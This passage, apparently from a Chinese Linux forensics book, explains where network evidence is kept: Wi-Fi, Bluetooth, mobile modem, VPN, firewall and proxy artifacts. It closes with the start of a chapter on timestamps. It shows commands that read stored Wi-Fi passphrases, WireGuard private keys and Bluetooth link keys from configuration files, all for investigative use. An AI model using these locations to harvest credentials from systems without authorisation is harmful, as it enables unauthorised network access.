Dec 01 10:40:31 pc1 wpa_supplicant[497]: wlan0: WPA: Key negotiation completed with 80:ea:96
:eb:df:c2 [PTK=CCMP GTK=CCMP]
Dec 01 10:40:31 pc1 wpa_supplicant[497]: wlan0: CTRL-EVENT-CONNECTED - Connection to 80:ea:
96:eb:df:c2 completed [id=0 id_str=]
...
Dec 01 10:45:56 pc1 wpa_supplicant[497]: wlan0: CTRL-EVENT-DISCONNECTED bssid=80:ea:96:eb:df
:c2 reason=3 locally_generated=1

在这个例子中,运行 wpa_supplicant 的 Linux 系统连接到了 Free 网络,并在几分钟后断开连接。

内核可能会记录与加入和断开 Wi-Fi 网络相关的某些活动,如下例所示:

Aug 22 13:00:58 pc1 kernel: wlan0: authenticate with 18:e8:29:a8:8b:e1
Aug 22 13:00:58 pc1 kernel: wlan0: send auth to 18:e8:29:a8:8b:e1 (try 1/3)
Aug 22 13:00:58 pc1 kernel: wlan0: authenticated
Aug 22 13:00:58 pc1 kernel: wlan0: associate with 18:e8:29:a8:8b:e1 (try 1/3)
Aug 22 13:00:58 pc1 kernel: wlan0: RX AssocResp from 18:e8:29:a8:8b:e1 (capab=
0x411 status=0 aid=4)
Aug 22 13:00:58 pc1 kernel: wlan0: associated

这里,接入点的 MAC 地址显示了系统成功认证的时间戳。

iwd 守护进程可以通过 D-Bus 被不同的网络管理器控制。配置文件是 /etc/iwd/main.conf,该文件在 iwd.config(5) 手册页中有文档说明。 /var/lib/iwd/* 目录包含每个使用 iwd 配置的网络的文件。

例如,以下是一个名为 myfreewifi 的网络文件:

# cat /var/lib/iwd/myfreewifi.psk
[Security]
PreSharedKey=28387e78ea98cceda4be87c9cf1a62fb8639dd48ea3d3352caca80ec5dfe3e68
Passphrase=monkey1999

[Settings]
AutoConnect=false

网络的名称是文件名的一部分。文件内容包含网络密码及其他设置。文件的创建时间戳可能是网络首次创建并加入的时间指示符。iwd.network(5) 手册页提供了有关文件内容的更多信息。

在一些发行版(如 Red Hat 和 SUSE)中,配置的 Wi-Fi 详细信息可能位于 /etc/sysconfig/ 目录中,例如:

# cat /etc/sysconfig/network/ifcfg-wlan0
NAME=''
MTU='0'
BOOTPROTO='dhcp'
STARTMODE='ifplugd'
IFPLUGD_PRIORITY='0'
ZONE=''
WIRELESS_ESSID='myhotspot'
WIRELESS_AUTH_MODE='psk'
WIRELESS_MODE='managed'
WIRELESS_WPA_PSK='monkey1999'
WIRELESS_AP_SCANMODE='1'
WIRELESS_NWID=''

在这里,myhotspot Wi-Fi 网络被配置并保存到 ifcfg-wlan0 文件中,密码也以明文显示。

NetworkManager 将连接信息存储在 /etc/ NetworkManager/system-connections/ 目录中。每个连接网络都有一个文件:

# cat /etc/NetworkManager/system-connections/Free_WIFI
[connection]
id=Free_WIFI
uuid=320c6812-39b5-4141-9f8e-933c53365078
type=wifi
permissions=
secondaries=af69e818-4b14-4b1f-9908-187055aaf13f;
timestamp=1538553686

[wifi]
mac-address=00:28:F8:A6:F1:85
mac-address-blacklist=
mode=infrastructure
seen-bssids=D0:D4:12:D4:23:9A;
ssid=Free_WIFI

[wifi-security]
key-mgmt=wpa-psk
psk=monkey1999

[ipv4]
dns-search=
method=auto

[ipv6]
addr-gen-mode=stable-privacy
dns-search=
ip6-privacy=0
method=auto

这显示了 Wi-Fi 网络的详细信息,包括网络首次配置的时间戳、SSID 名称、BSSID MAC 地址等。根据配置,可能还会找到密码。

此外,NetworkManager 会将信息保存到 /var/lib/NetworkManager/ 目录,你可以在这里找到 DHCP 租约文件,里面包含从各个接口获得的租约信息,如下所示:

# cat internal-320c6812-39b5-4141-9f8e-933c53365078-wlan0.lease
# This is private data. Do not parse.
ADDRESS=192.168.13.10
NETMASK=255.255.255.0
ROUTER=192.168.13.1
SERVER_ADDRESS=192.168.13.1
NEXT_SERVER=192.168.13.1
T1=43200
T2=75600
LIFETIME=86400
DNS=192.168.13.1
DOMAINNAME=workgroup
HOSTNAME=pc1
CLIENTID=...

文件的创建(出生)时间戳表示 DHCP 服务器分配租约的时间,名为 timestamps 的文件包含一个租约列表,其中每个租约都与一个租约文件名和一个数字时间戳相关联:

# cat timestamps
[timestamps]
...
320c6812-39b5-4141-9f8e-933c53365078=1538553686
...

此外,记录了曾经见到的 BSSID(MAC 地址)列表,保存在 seen-bssids 文件中:

[seen-bssids]
320c6812-39b5-4141-9f8e-933c53365078=D0:D4:12:D4:23:9A,
...

一个 Wi-Fi 网络(具有相同 SSID)可能包含多个 BSSID。

Linux 访问点

如果使用 Linux 系统作为接入点,它最有可能使用 hostapd 软件包。检查是否安装了 hostapd 包,以及它是否被启用作为 systemd 服务运行。hostapd 配置文件通常位于 */etc/hostapd/**,而 hostapd.conf 文件包含提供的 Wi-Fi 网络的配置,如下所示:

# cat /etc/hostapd/hostapd.conf
...
ssid=Bob's Free Wifi
...
wpa_passphrase=monkey1999
...
ignore_broadcast_ssid=1
...
country_code=CH
...

显示了 Wi-Fi 网络名称和密码,它是一个隐藏网络(广播被忽略),并指定了区域(符合监管要求)。原始的 hostapd.conf 文件有详细的注释,提供了更多的参数示例,更多信息可以在 w1.fi/hostapd/ 查找。

密码也可以以基于密码的密钥派生函数(PBKDF2)格式存储,在这种情况下,恢复较为困难,但可以尝试使用密码恢复工具。hostapd.conf 中的预共享密钥(PSK)字符串如下所示:

wpa_psk=c031dc8c13fbcf26bab06d1bc64150ca53192c270f1d334703f7b85e90534070

这个字符串并没有揭示密码,但足以访问 Wi-Fi 网络。密码可能在附加到同一网络的另一个客户端设备上找到。

有多个地方可以查找连接到 hostapd 接入点的客户端的 MAC 地址。Hostapd 默认将日志写入 syslog,连接和断开连接的其他客户端的 MAC 地址可能会在其中找到:

Aug 22 09:32:19 pc1 hostapd[4000]: wlan0: STA 48:4b:aa:91:06:89 IEEE 802.11: authenticated
Aug 22 09:32:19 pc1 hostapd[4000]: wlan0: STA 48:4b:aa:91:06:89 IEEE 802.11: associated (aid 1)
Aug 22 09:32:19 pc1 hostapd[4000]: wlan0: AP-STA-CONNECTED 48:4b:aa:91:06:89
...
Aug 22 09:32:29 pc1 hostapd[4000]: wlan0: AP-STA-DISCONNECTED 48:4b:aa:91:06:89
Aug 22 09:32:29 pc1 hostapd[4000]: wlan0: STA 48:4b:aa:91:06:89 IEEE 802.11: disassociated
Aug 22 09:32:30 pc1 hostapd[4000]: wlan0: STA 48:4b:aa:91:06:89 IEEE 802.11: deauthenticated
due to inactivity (timer DEAUTH/REMOVE)

另一个可能包含 MAC 地址的地方是 accept 和 deny 文件。如果使用这些文件,它们的位置通过配置中的 accept_mac_file=deny_mac_file= 参数来定义。这些文件包含管理员明确允许或阻止的 MAC 地址列表,这些 MAC 地址在取证调查中可能具有意义。

蓝牙痕迹

Linux 下的蓝牙是通过组合内核模块、守护进程和实用程序实现的。蓝牙子系统保留了多个取证痕迹,这些痕迹可以被分析并与不同的物理设备关联。蓝牙设备与 Linux 系统配对的证据可能对调查有所帮助。

关于当前和先前配对的蓝牙设备的信息可以在 /var/lib/bluetooth/ 目录中找到。这里有一个名为本地安装的蓝牙适配器的 MAC 地址的初始子目录:

# ls /var/lib/bluetooth/
90:61:AE:C7:F1:9F/

该目录的创建(出生)时间戳表明了适配器首次安装的时间。如果蓝牙适配器在主板上,它很可能与发行版安装时间匹配。如果使用了 USB 蓝牙适配器,则创建时间将显示首次插入的时间。

这个本地适配器设备目录包含更多的子目录和一个 settings 文件:

# ls /var/lib/bluetooth/90:61:AE:C7:F1:9F/
00:09:A7:1F:02:5A/ 00:21:3C:67:C8:98/ cache/ settings

settings 文件提供关于可发现性的信息。MAC 地址目录以当前配对的设备命名。cache/ 目录包含以当前和先前配对的设备 MAC 地址命名的文件:

# ls /var/lib/bluetooth/90:61:AE:C7:F1:9F/cache/
00:09:A7:1F:02:5A 00:21:3C:67:C8:98 08:EF:3B:82:FA:57 38:01:95:99:4E:31

这些文件包括用户过去从配对设备列表中删除的蓝牙设备。

MAC 地址目录包含一个或多个文件。info 文件提供关于配对设备的更多信息:

# cat 00:21:3C:67:C8:98/info
[General]
Name=JAMBOX by Jawbone
Class=0x240404
SupportedTechnologies=BR/EDR;
Trusted=true
Blocked=false
Services=00001108-0000-1000-8000-00805f9b34fb;0000110b-0000-1000-8000-00805f9b
34fb;0000110d-0000-1000-8000-00805f9b34fb;0000111e-0000-1000-8000-00805f9b34fb;

[LinkKey]
Key=A5318CDADCAEDE5DD02D2A4FF523CD80
Type=0
PINLength=0

这显示了设备的 MAC 地址(在目录名称中)、设备及其服务的描述等信息。

从历史角度来看,cache/ 目录可能更为有趣,因为它包含了当前配对的设备和之前配对的设备。文件的信息可能不如配对设备的 info 文件丰富,但简单地在缓存目录中使用 grep 可以列出以前使用过的设备:

# grep Name= * 
00:09:A7:1F:02:5A:Name=Beoplay H9i
00:21:3C:67:C8:98:Name=JAMBOX by Jawbone
08:EF:3B:82:FA:57:Name=LG Monitor(57)
38:01:95:99:4E:31:Name=[Samsung] R3

这些文件的创建(出生)时间戳可能表明设备与 Linux 系统配对的时间。

配对设备的重建很有趣,但那些配对设备的实际使用也同样值得关注。根据设备类型和所使用的蓝牙服务,这些使用情况可能会在日志中显现出来:

Aug 21 13:35:29 pc1 bluetoothd[1322]: Endpoint registered: sender=:1.54
path=/MediaEndpoint/A2DPSink/sbc
Aug 21 13:35:29 pc1 bluetoothd[1322]: Endpoint registered: sender=:1.54
path=/MediaEndpoint/A2DPSource/sbc
Aug 21 13:35:40 pc1 bluetoothd[1322]: /org/bluez/hci0/dev_38_01_95_99_4E_31/
fd1: fd(54) ready
...
Aug 21 13:52:44 pc1 bluetoothd[1322]: Endpoint unregistered: sender=:1.54
path=/MediaEndpoint/A2DPSink/sbc
Aug 21 13:52:44 pc1 bluetoothd[1322]: Endpoint unregistered: sender=:1.54
path=/MediaEndpoint/A2DPSource/sbc

这些日志表明,之前识别的 [Samsung] R3 设备已连接 17 分钟。

每个 MAC 地址可能存在附加的设备特定字段和文件(属性)。根据设备和调查的相关性,可能需要额外的审查。

WWAN 遗留文件

现在许多笔记本电脑能够通过内置调制解调器或插入式 USB 设备访问移动网络(如 3G/4G/5G 等),并使用运营商提供的 SIM 卡。Linux 支持这些移动技术,可以在本地配置文件、数据库和日志中找到活动的痕迹。

Linux 系统与移动调制解调器交互的方式有多种:

  • 传统串行设备:*/dev/ttyUSB** 通过 AT 命令进行控制

  • USB 通信设备类(CDC)设备:*/dev/cdc-wdm** 通过二进制协议进行控制^(4)

  • PCIe 设备:*/dev/wwan** 通过调制解调器主机接口(MHI)进行控制^(5)

一旦移动连接经过认证、授权并建立,网络接口就可以进行配置。常见的网络接口名称包括 ppp*(用于传统调制解调器)、wwan*ww*(用于重命名接口)和 mhi*(用于基于 MHI 的 PCIe 调制解调器)。调制解调器设备名称和网络接口可以在日志中找到,并可能揭示与移动基础设施的连接。

以下几个例子展示了一个使用 MBIM 协议连接到移动网络的集成 USB 调制解调器。此时,调制解调器设备被内核检测到,并创建了一个 wwan0 网络设备:

Dec 21 08:32:16 pc1 kernel: cdc_mbim 1-6:1.12: cdc-wdm1: USB WDM device
Dec 21 08:32:16 pc1 kernel: cdc_mbim 1-6:1.12 wwan0: register 'cdc_mbim' at
usb-0000:00:14.0-6, CDC MBIM, 12:33:b9:88:76:c1
Dec 21 08:32:16 pc1 kernel: usbcore: registered new interface driver cdc_mbim

然后,ModemManager 守护进程接管设备的管理和移动连接的设置:

Dec 21 08:32:21 pc1 ModemManager[737]: [/dev/cdc-wdm1] opening MBIM device...
Dec 21 08:32:21 pc1 ModemManager[737]: [/dev/cdc-wdm1] MBIM device open
...
Dec 21 08:32:23 pc1 ModemManager[737]: <info> [modem0] state changed (disabled
 -> enabling)
...
Dec 21 08:50:54 pc1 ModemManager[737]: <info> [modem0] 3GPP registration state
 changed (searching -> registering)
Dec 21 08:50:54 pc1 ModemManager[737]: <info> [modem0] 3GPP registration state
 changed (registering -> home)
Dec 21 08:50:54 pc1 ModemManager[737]: <info> [modem0] state changed
 (searching -> registered)
...
Dec 21 08:50:57 pc1 ModemManager[737]: <info> [modem0] state changed
 (connecting -> connected)

在这里,ModemManager 记录了几个状态变化。它启用了调制解调器,搜索提供商和家庭网络,注册设备,并连接到网络。

在设备在调制解调器层连接后,NetworkManager 接管了任务,请求并配置了 IP 网络(IP 地址、路由和 DNS):

Dec 21 08:50:57 pc1 NetworkManager[791]: <info> [1608537057.3306]
 modem-broadband[cdc-wdm1]: IPv4 static configuration:
Dec 21 08:50:57 pc1 NetworkManager[791]: <info> [1608537057.3307]
 modem-broadband[cdc-wdm1]: address 100.83.126.236/29
Dec 21 08:50:57 pc1 NetworkManager[791]: <info> [1608537057.3307]
 modem-broadband[cdc-wdm1]: gateway 100.83.126.237
Dec 21 08:50:57 pc1 NetworkManager[791]: <info> [1608537057.3308]
 modem-broadband[cdc-wdm1]: DNS 213.55.128.100
Dec 21 08:50:57 pc1 NetworkManager[791]: <info> [1608537057.3308]
 modem-broadband[cdc-wdm1]: DNS 213.55.128.2

移动服务提供商为移动接口分配 IP 地址、默认网关和 DNS 服务器。默认情况下,内核和 ModemManager 不会记录移动标识符信息,如 IMSI 或 IMEI。根据地区的监管要求,移动服务提供商可能会记录这些连接信息。

一些 Linux 系统可能安装了 Modem Manager GUI,它可以发送和接收 SMS 短信消息和 USSD 命令。Modem Manager GUI 将 SMS 消息存储在用户主目录下的 GNU 数据库(sms.gdbm)中,并使用唯一的设备标识符作为目录名:

$ ls ~/.local/share/modem-manager-gui/devices/01f42c67c3e3ab75345981a5c355b545/
sms.gdbm

可以使用 gdbm_dump 工具(gdbm 包的一部分)转储此文件,但 strings 命令也会生成可读的输出:

$ strings sms.gdbm
...
783368690<sms>
    <number>+41123456789</number>
    <time>18442862660071983976</time>
    <binary>0</binary>
    <servicenumber>+41794999005</servicenumber>
    <text>Do you have the bank codes?</text>
    <read>1</read>
    <folder>0</folder>
</sms>
1102520059<sms>
    <number>+41123456789</number>
    <time>1608509427</time>
    <binary>0</binary>
    <servicenumber>(null)</servicenumber>
    <text>No, I have to steal them first!</text>
    <read>1</read>
    <folder>1</folder>
</sms>

每条短信消息都显示在<text>标签内。显示了电话号码和时间^(6),<read>标签表示消息是否已读。文件夹编号代表接收的消息(0)、已发送的消息(1)和草稿消息(2)。更多信息可以在sourceforge.net/projects/modem-manager-gui/找到。

网络安全工件

网络安全的主题涉及通过防火墙保护系统的边界,并保护网络流量的隐私和完整性。以下部分描述了 Linux 下常见的防火墙和 VPN,以及如何分析日志、配置和其他可能在取证调查中感兴趣的持久化信息。重点将特别放在(相对较)新的技术,如 NFTables 和 WireGuard。SSH 协议也提供了一层网络安全(见 第十章)。

WireGuard、IPsec 和 OpenVPN

WireGuard 是 VPN 领域中的相对新手。它最初由 Jason Donenfeld 为 Linux 开发,现在已成为内核的默认部分。WireGuard 旨在简化实现,并作为一个内核模块创建一个虚拟接口。该接口像其他任何网络接口一样:可以启用或禁用、防火墙保护、路由流量,或者通过标准网络接口工具查询。像 tcpdump 或 Wireshark 这样的包嗅探器也可以用来捕获网络流量。

WireGuard 是一种点对点隧道模式的 VPN,将 IP 数据包封装在 UDP 内,并将其传输到配置好的对等方。使用了现代的加密协议(如 Curve、ChaCha 等),且密钥管理是带内进行的。其易用性、性能和隐蔽性使 WireGuard 在爱好者、研究人员和黑客社区中非常受欢迎。

WireGuard 接口可以由系统所有者随意命名,但wg0是最常用的。可以在配置文件和日志中找到对该设备的引用,就像你使用其他网络接口名称(如eth0)一样。

每个 WireGuard 接口通常有一个配置文件,其中包含私钥、所有对等方的公钥、端点的 IP 地址以及允许的 IP 范围。WireGuard 配置信息通常可以在以下几个位置找到:

  • WireGuard 默认文件,/etc/wireguard/wg0.conf

  • 一个 systemd .netdev 文件,例如 /etc/systemd/network/wg0.netdev

  • 一个类似于 /etc/NetworkManager/system-connections/ Wireguard connection 1 的 NetworkManager 文件。

/etc/wireguard/ 目录可能包含一个或多个以接口名称命名的配置文件。文件内容如下:

# cat /etc/wireguard/wg0.conf
[Interface]
PrivateKey = 4O0xcLvb6TgH79OXhY6sRfa7dWtZRxgQNlwwXJaloFo=
ListenPort = 12345
Address = 192.168.1.1/24

[Peer]
PublicKey = EjREDBYxKYspNBuEQDArALwARcAzKV3Q5TM565XQ1Eo=
AllowedIPs = 192.168.1.0/24
Endpoint = 192.168.1.2:12345

[Interface] 部分描述了本地机器,[Peer] 部分描述了可信对等体(可能有多个对等体)。

Systemd 支持在 .netdev 文件中配置 WireGuard,如下所示:

# cat /etc/systemd/network/wg0.netdev
[NetDev]
Name=wg0
Kind=wireguard

[WireGuard]
PrivateKey = 4O0xcLvb6TgH79OXhY6sRfa7dWtZRxgQNlwwXJaloFo=
ListenPort = 12345

[WireGuardPeer]
PublicKey = EjREDBYxKYspNBuEQDArALwARcAzKV3Q5TM565XQ1Eo=
AllowedIPs = 192.168.1.0/24
Endpoint =

可能需要一个关联的 .network 文件来配置接口的 IP 地址。

NetworkManager 守护进程为 WireGuard 提供了一个 VPN 插件,并且可以与其他 VPN 配置一起使用:

# cat "/etc/NetworkManager/system-connections/VPN connection 1.nmconnection"
[connection]
id=VPN connection 1
uuid=4facf054-a3ea-47a1-ac9d-c0ff817e5c78
type=vpn
autoconnect=false
permissions=
timestamp=1608557532

[vpn]
local-ip4=192.168.1.2
local-listen-port=12345
local-private-key=YNAP0mMBjCEIT1m7GpE8icIdUTLn10+Q76P+ThItyHE=
peer-allowed-ips=192.168.1.0/24
peer-endpoint=192.168.1.1:12345
peer-public-key=Tmktbu0eM//SYLA51O4U7LqoSpbis9MAnyPL/z5LTm0=
service-type=org.freedesktop.NetworkManager.wireguard
...

WireGuard 配置遵循本章前面描述的 NetworkManager 文件格式。

软件包 wireguard-tools 提供了文档、systemd 单元文件和配置 WireGuard 的工具。wg-quick 脚本用于简化命令行操作。取证调查人员应检查 shell 历史记录,以寻找手动使用 wgwg-quick 工具的证据。

WireGuard 的配置提供了几个从取证角度可能感兴趣的痕迹。wg0 接口使用的 IP 地址可能出现在本地和远程对等体的日志或配置中。对等体的公钥为多个机器之间提供了加密关联(增强证据的有效性)。允许的 IP 列表描述了预期在远程对等体后面存在的 IP 地址范围(可能是路由的网络)。这些 IP 地址也可能出现在日志中,并且可能具有重要意义。所有这些痕迹对重建 VPN 网络设置非常有帮助。

IPsec 是一个 IETF 标准,相关协议在几十个 RFC 中有文档说明。IPsec 可以在隧道模式(加密整个数据包)或传输模式(仅加密负载)下运行。IPsec 是内核的标准部分,可以加密和认证流量,但需要用户空间工具和守护进程来进行配置和密钥管理。带外密钥管理使用 Internet 密钥交换(IKE)执行,这是由各种实现独立提供的守护进程。

当前 Linux 系统中最常用的三种 IPsec 实现是 StrongSwan (www.strongswan.org/), Openswan (www.openswan.org/), 和 Libreswan (libreswan.org/)。这些实现将配置数据存储在本地系统上,并记录各种使用情况。检查本地安装的软件包和相关目录(位于 /etc/)以确认这些 IPsec 实现是否存在。如果已安装,可以分析配置文件和日志,以了解使用情况并恢复感兴趣的取证痕迹。

OpenVPN (openvpn.net/) 最初作为基于 TLS 的用户空间竞争者开发,用于替代 IPsec。OpenVPN 既是商业公司的名称,也是开源项目的名称。OpenVPN 的优势不在于性能,而在于易用性。与 IPsec 的另一个不同之处在于它侧重于认证用户而非机器,以允许访问受保护的网络。

openvpn程序(作为 openvpn 软件包的一部分安装)可以作为客户端或服务器运行,具体取决于使用的启动标志。配置数据可以在/etc/openvpn/client//etc/openvpn/server/目录中找到。有关更多信息,请参阅 openvpn(8)手册页。NetworkManager 守护进程有一个 OpenVPN 插件,并且可能在/etc/NetworkManager/目录中有一个单独的配置文件(或多个文件)。

Linux 防火墙与 IP 访问控制

Linux 拥有悠久的防火墙支持历史,并且随着时间的推移对内核防火墙子系统进行了许多重大更改(nftables 取代了 iptables,iptables 取代了 ipchains,ipchains 取代了 ipfwadm)。最近的重大变化是用 nftables 替换了 iptables。

Linux 还具有一种基本的防火墙功能,称为伯克利数据包过滤器(BPF),通常用于按进程或 systemd 单元进行过滤。其他 IP 过滤则以面向网络应用程序的用户空间访问控制列表的形式进行。根据法医调查的背景,检查防火墙控制(或缺乏控制)可能非常重要。

Linux 网络防火墙功能是在内核中实现的。用户空间的工具和守护进程可以管理防火墙(以及其他网络组件),但它们只是将配置信息传递给内核。为了保持持久性,防火墙规则还必须在启动时添加到内核中。防火墙日志记录通过内核的环形缓冲区完成,如第五章所述。

nftables 防火墙功能是对旧的 iptables 系统的重大升级,所有发行版和工具都在用它替代传统的 iptables(兼容脚本使这一过程变得简单)。此外,nftables 将 IPv4、IPv6 和 MAC 地址过滤整合到一个配置文件中,并允许每条规则执行多个操作。

如果手动配置(例如在服务器上),典型的 nftables 配置文件位置是在/etc/nftables.conf文件或/etc/nftables/目录中。此文件通常由 systemd 单元加载,可以在启动时自动加载,也可以在更改后手动加载。以下是一个配置文件示例:

$ cat /etc/nftables.conf
table inet filter {
  chain input {
   type filter hook input priority 0;

   # allow return packets from outgoing connections
   ct state {established, related} accept

   # allow from loopback
   iifname lo accept

   # allow icmp and ssh
   ip protocol icmp accept
   tcp dport 22 accept

   # block everything else
   reject with icmp type port-unreachable
 }
 chain forward {
   type filter hook forward priority 0;
   drop
 }
 chain output {
   type filter hook output priority 0;
 }
}

此示例中的内核防火墙配置为允许传出连接(包括返回的数据包),允许传入的pingssh连接,并阻止其余流量(并防止路由)。文件中的注释解释了这些规则。有关 nftables 规则的更多信息,请参阅 nft(8)手册页。

Linux 发行版可能有自己的机制来管理防火墙规则。Ubuntu 使用 Uncomplicated FireWall (UFW) 来指定传递给 iptables/nftables 的规则。配置和防火墙规则文件位于 /etc/ufw/ 目录中。ufw.conf 文件中的 ENABLED= 设置指示防火墙是否处于活动状态。如果启用了日志记录,UFW 会将日志记录到 syslog 中,这可能会将日志保存到 /var/log/ufw.log(如果配置了 rsyslog)。

Fedora/Red Hat 和 SUSE 使用 firewalld 配置 nftables(SUSE 在 SLES15 中用 firewalld 替代了其旧的 SuSEfirewall2 系统)。firewalld 守护进程在 systemd 中启用,配置文件位于 /etc/firewalld/ 目录。如果启用了日志记录,日志将写入 /var/log/firewalld。所有这些发行版特有的规则管理系统(脚本或 GUI)最终只是将规则添加到内核中的 nftables。

一些防火墙规则可能是由安全软件或入侵防御系统(IPS)根据恶意活动动态创建的。例如,fail2ban 软件包运行一个守护进程,监视各种日志文件以检测暴力破解攻击。如果检测到恶意的 IP 地址,它将通过 iptables 或 nftables 临时封禁该地址。fail2ban 会记录被封禁的 IP 地址。其他类似的 IPS 软件(例如 sshguard,是 fail2ban 的替代方案)也可能在系统上运行并记录恶意活动。

Systemd 单元文件可能包含执行访问 IP 控制的指令。根据单元类型,可以在单元文件的 [Slice][Scope][Service][Socket][Mount][Swap] 部分中找到指令 IPAddressAllow=IPAddressDeny=。这个 systemd 特性并不使用 nftables,而是使用扩展的伯克利数据包过滤器(eBPF),它也是内核的一部分。有关更多信息,请参阅 systemd.resource-control(5) 手册页。

应用程序可能会配置自己的过滤控制,由用户空间进程(而非内核)做出 IP 访问决策。一种传统的做法是使用 /etc/hosts.allow/etc/hosts.deny 文件。这些文件允许为使用 libwrap(TCP 包装器)库编译的应用程序提供定制的访问控制。有关更多信息,请参阅 hosts_access(5) 手册页。

许多应用程序有自己的 IP 访问控制机制,可以在其配置文件中指定,这通常允许与应用程序相关的更灵活的访问控制。例如,Apache web 服务器可以配置为只允许某些 IP 地址访问 web 树中的某些部分:

<Directory /secretstuff>
        Require ip 10.0.0.0/24
</Directory>

在此示例中,任何试图从定义的 IP 地址范围之外访问 /secretstuff 目录的用户将收到“HTTP 403 Forbidden”错误。

这是另一个示例,展示了 SSH 仅允许来自指定 IP 地址的选定用户登录:

$ cat /etc/ssh/sshd_config
# only users from pc1 are allowed
AllowUsers root@10.0.0.1 sam@10.0.0.1
...

如果应用程序仅监听一个端口,则这些应用层 IP 控制不需要基于端口号进行过滤。

从取证角度来看,任何包含被阻止数据包的日志可能都很有趣。它们显示了尝试的连接和扫描活动,这些活动可能与入侵有关。它们还揭示了某台机器在某个时间点的位置或状态(可能是一台流动的笔记本电脑)。如果源 MAC 地址被记录下来,它们表示在本地附加网络上的发送机器的 MAC 地址(通常是路由器)。在 DDoS 攻击、扫描或其他被阻止的恶意活动的情况下,可以将使用的 IP 地址与其他情报数据进行关联,以收集更多有关威胁行为者的信息(可能将其归属于某个特定的僵尸网络)。

代理设置

代理服务器是一种应用层防火墙,旨在通过代理提供间接访问远程服务的功能。使用代理时,客户端机器的网络连接会终止于代理服务器,同时包含远程服务的信息。然后,代理服务器代表客户端建立到远程服务的新连接。关于远程连接的信息传递是代理协议的一部分。一些协议,如 SOCKS 或 HTTP CONNECT,专门设计用于 TCP 会话的代理。其他协议,如 SMTP,则在协议中本身就包含代理模型(例如,将电子邮件从一个主机转发到另一个主机,直到到达收件箱)。

在 Linux 发行版中,代理设置可以是系统范围的,特定于用户的,或在每个应用程序中单独设置。代理服务器可以是远程机器,也可以是本地运行的守护进程。本地代理守护进程通常用于过滤本地 Web 流量或作为无法直接访问的远程网络的网关(例如 TOR)。

Linux 系统可以通过多种方式指定全局代理设置。每个应用程序决定如何处理这些设置。根据应用程序的不同,系统级设置可能被完全使用、部分使用或完全忽略。

一组环境变量可以用来指定代理,这些变量可以在 shell 启动脚本中或任何设置环境变量的地方进行设置。在一些发行版中,/etc/sysconfig/proxy文件会在启动时读取,该文件包含代理变量,如下所示:

PROXY_ENABLED="yes"
HTTP_PROXY="http://proxy.example.com:8888"
HTTPS_PROXY="http://proxy.example.com:8888"
FTP_PROXY="http://proxy.example.com:8888"
GOPHER_PROXY=""
SOCKS_PROXY=""
SOCKS5_SERVER=""
NO_PROXY="localhost,127.0.0.1,example.com,myhiddendomain.com"

NO_PROXY设置会忽略为特定主机、IP 范围和域定义的代理设置。从取证角度来看,这非常有趣,因为它可能包含由系统管理员显式配置的、非公开的域名和网络地址,这些信息可能与调查相关。

用户的 dconf 数据库也存储着代理设置,任何支持的应用程序(如 GNOME 3 或 40 应用程序)都可以读取这些设置。这些信息存储在用户主目录中的一个GVariant数据库文件中(~/.config/dconf/user/)。第十章解释了如何提取和分析 dconf 数据库的内容。

NetworkManager 守护进程有一个选项,可以使用 代理自动配置(pac) 文件来发现和配置 Web 代理设置。pac 文件使用 JavaScript 定义是否以及如何对 URL 进行代理。代理 pac 文件可以是本地的,也可以从远程服务器获取,通常可以在存储在 /etc/NetworkManager/system-connections/ 目录中的网络配置文件的 [proxy] 部分找到。

每个安装的网络应用可能有自己独立的代理设置,这些设置可能与系统级别的代理设置不同。在法医调查中,这意味着需要单独检查相关的应用程序。

命令行代理也可以用于启动应用程序。例如,tsockssocksify 是允许在命令行上启动程序并使用 SOCKS 库代理网络流量的工具(设计用于没有代理支持的程序)。命令行代理的证据可能会在 shell 历史记录中找到。

上述示例提到了客户端使用代理,但 Linux 服务器也可以作为代理服务器运行。流行的 Linux 上的 Web 代理包括 Squid 和 Polipo。Dante 是另一个流行的 SOCKS 代理服务器。

Nginx 支持多种代理协议,并且也可以充当反向代理。反向代理“假装”是远程服务器,接受来自客户端的连接,同时与真实服务器建立独立的连接。反向代理在企业环境中用于负载均衡和 Web 应用防火墙(WAF)非常常见。反向代理也是某些匿名化系统的工作方式。

反向代理的恶意使用之一是实时钓鱼攻击,其中反向代理在受害者客户端和服务器之间执行应用层中间人攻击。僵尸网络的指挥与控制服务器也可能使用反向代理,以提高抗击封锁的能力并进行匿名化。

服务器端代理通常会记录客户端连接和活动,这些可以在法医调查中进行分析。这在查获恶意服务器的情况下尤其有价值,因为可以提取客户端 PC 列表(可能是被僵尸网络感染的受害者)。

摘要

本章描述了如何分析 Linux 网络,包括处理接口和 MAC 地址的硬件层、网络服务和 DNS 解析。还介绍了如何识别 Wi-Fi 证据、配对的蓝牙设备并分析 WWAN 移动活动。此外,本章还探讨了 Linux 网络安全,如 VPN、防火墙和代理。

第九章:时间与位置的取证分析

Image

本章解释了与 Linux 时间、区域设置和位置相关的数字取证概念。探讨了取证时间线,包括如何从 Linux 系统构建取证时间线。还描述了国际配置,如区域设置、键盘和语言。最后一节涵盖了地理定位技术以及如何重建 Linux 系统的地理位置历史。

Linux 时间配置分析

数字取证的一个重要部分是重建过去的事件。这个数字考古学依赖于理解时间的概念,特别是在 Linux 环境中的应用。

时间格式

Linux 中时间的标准表示方式源自 Unix。最初的 Unix 开发者需要一种紧凑的方式来表示当前的时间和日期。他们选择了 1970 年 1 月 1 日 00:00:00 UTC 作为时间的起点(恰好与 Unix 的命名时间相符),从这个时刻起的秒数表示特定的时间和日期。这个日期也被称为Unix 纪元,这种格式使得时间和日期能够以 32 位数值存储。

我们将指定的时间点称为时间戳。以下示例显示了使用 Linux date 命令的秒级时间:

$ date +%s
1608832258

这个时间戳是以文本格式给出的,但也可以以大端或小端格式存储为二进制格式。这个相同的字符串用十六进制表示是一个四字节字符串:0x5fe4d502。

使用 32 位纪元时间表示的一个问题是,在时钟重置为零之前的最大秒数。这个重置将发生在 2038 年 1 月 18 日,类似于 Y2K(2000 年 1 月 1 日的重置)事件。Linux 内核开发者已经意识到这个问题,并已实现对 64 位时间戳的支持。

原始 Unix 时间表示的另一个问题是其精度,仅限于一秒。这种限制对于早期计算机的较慢速度来说足够了,但现代系统需要更高的精度。常见的表示秒的分数单位有:

毫秒 一千分之一秒(0.001)

微秒 一百万分之一秒(0.000001)

纳秒 十亿分之一秒(0.000000001)

以下示例显示了从纪元以来的秒数,并具有纳秒级精度:

$ date +%s.%N
1608832478.606373616

为了保持向后兼容性,一些文件系统在时间戳中添加了一个额外的字节。这个字节中的各个位被分配给解决 2038 问题和提供更高精度的功能。

注意

